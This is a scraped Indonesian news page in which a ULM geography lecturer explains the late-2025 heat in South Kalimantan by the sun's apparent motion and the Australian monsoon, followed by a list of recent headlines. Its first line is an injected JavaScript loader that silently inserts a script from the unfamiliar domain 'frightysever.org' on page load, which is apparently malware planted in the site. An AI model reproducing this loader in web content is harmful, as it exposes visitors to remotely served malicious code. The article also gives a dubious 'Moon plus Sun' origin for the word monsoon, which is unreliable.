(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Suhu Tinggi Akibat Gerak Semu Matahari dan Monsun Australia, Begini Penjelasan Akademisi Geografi ULM


KANALKALIMANTAN.COM, BANJARMASIN — BMKG mengumumkan sejumlah wilayah Indonesia dilanda cuaca panas ekstrem mulai Oktober hingga awal November 2025.

‎BMKG menyebut kondisi ini disebabkan oleh dua faktor yaitu Gerak Semu Matahari dan Monsun Australia.

‎Mencermayi fenomena cuaca itu, dosen Pendidikan Geografi FKIP Universitas Lambung Mangkurat (ULM), Dr H Sidharta Adyatma MSi menjelaskan secara mendalam mengenai dua faktor tersebut.

Baca juga: Wabup HSU Letakkan Batu Pertama Peresmian Gerai Koperasi Merah Putih

‎Menurut Dharta -sapaan akrabnya-, faktor pertama yaitu Gerak Semu Matahari terjadi ketika bumi oleng mendekati matahari.

‎“Bumi itu selain berotasi dia juga oleng, jadi bumi bagian utara atau selatan itu akan didekatkan ke arah matahari,“ ucap Dharta, Jumat (17/10/2025).

‎Belahan bumi utara akan didekatkan ke matahari saat matahari jatuh tegak lurus ke arah equator (khatulistiwa) di tanggal 21 Maret yang menyebabkan radiasi tinggi.

‎Sementara belahan bumi selatan yang masuk sebagian wilayah Indonesia akan mendekati matahari di tanggal 23 September sampai 22 Desember yang jatuh di 23 ½° LS.

Baca juga: Jelang Hari Santri Nasional 2025, Ini yang Dilakukan IPNU dan IPPNU Banjar

‎Kemudian wilayah selatan Indonesia tepatnya di Australia bagian Utara yang menjadi titik jatuhnya arah matahari akan menjadi pusat tekanan rendah karena radiasinya besar.

‎Hal itulah yang membuat udara bagian bumi utara termasuk Samudera Pasifik dan Benua Asia di lintang 30 semuanya akan bergerak ke selatan membawa uap air.

‎Lalu terbentuk angin yang dikenal dengan sebutan Monsun, diambil dari kata Moon (bulan) dan Sun (matahari). Karena titiknya ada di Australia sehingga dinamai Monsun Australia.

‎“Itulah yang nanti anginnya disebut Monsun karena gerak semu matahari tiap bulannya bergeser atau mengalami perubahan,” ungkap Dharta.

‎Lebih jauh, pengajar Oseanografi, Metereologi, dan Klimatologi itu memaparkan, cuaca panas ekstrem yang saat ini terjadi diakibatkan oleh radiasi besar matahari yang berada di bumi bagian selatan tak terkecuali Indonesia seperti Jawa, sebagian Sumatera dan termasuk Kalimantan Selatan.

Baca juga: Suhu Udara Menyengat di Kalsel, BMKG Ungkap Penyebabnya

‎“Karena radiasinya besar akan ada penguapan yang naik ke atas sampai mengalami kondensasi membentuk awan,” jelasnya.

‎Lantas awan yang terbentuk tak hanya memantulkan tetapi menyerap radiasi besar matahari kemudian diturunkan ke permukaan bumi sehingga menghasilkan panas.

‎Panas akan semakin terasa apabila kondisi ini ditambah efek rumah kaca yang berasal dari uap air, debu, dan gas diantaranya Nitrogen Monoksida dan Dioksida, Carbon Monoksida dan Dioksida, Sulfur Monoksida dan Dioksida.

‎Selain itu, manusia juga bisa menghasilkan gas dari aktivitas sehari-hari mereka baik dari industri, perumahan, hingga kendaraan.

“Panas yang diteruskan ke permukaan bumi akan dipantulkan lagi ke awan lalu awan tidak mau meneruskan jadi dipantulkan kembali sehingga panasnya muter. Ini istilahnya disebut efek rumah kaca,” tutur Dharta.

Baca juga: RSUD Ulin Banjarmasin Jalani Survei Monitoring Akreditasi Kedua

‎Contoh efek rumah kaca paling kecil adalah mobil. Saat mobil dijemur maka panas yang diserap dari atap mobil diteruskan ke dalam sehingga panas terjebak di dalam kabin.

‎”Panas yang ada dalam kabin mobil tidak bisa keluar karena tertutup jadi disitu bolak-balik terima panas. Makanya kenapa mobil dijemur saat dibuka panas sekali,” pungkasnya. (Kanalkalimantan.com/fahmi)

‎Reporter: fahmi
Editor: bie


Risa

Recent Posts

244 Jiwa Terdampak Banjir, BPBD Kalsel Segera Kirimkan Bantuan Tepat Sasaran

KANALKALIMANTAN.COM, BANJARBARU - Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalimantan Selatan (Kalsel) terus mematangkan persiapan… Read More

1 jam ago

HMI Banjarmasin Peduli Banjir Salurkan Bantuan ke Warga

KANALKALIMANTAN.COM, BANJARMASIN — Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin menunjukkan kepedulian sosial dengan menyalurkan bantuan… Read More

2 jam ago

Presma UIN Antasari: Rakyat Adalah Pemegang Kedaulatan Tertinggi

KANALKALIMANTAN.COM, BANJARMASIN — Presiden Mahasiswa (Presma) Universitas Islam Negeri (UIN) Antasari Banjarmasin, Yazid Arifani angkat… Read More

4 jam ago

Wacana Pilkada Melalui DPRD, BEM SI Kalsel: Kemunduran Demokrasi

KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More

7 jam ago

Disperkim Kalsel Tegaskan Komitmen Hunian Layak untuk Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More

10 jam ago

Satu Suara, Pilkada Lewat DPRD BEM SI Kalsel Sepakat Menolak

KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More

10 jam ago

This website uses cookies.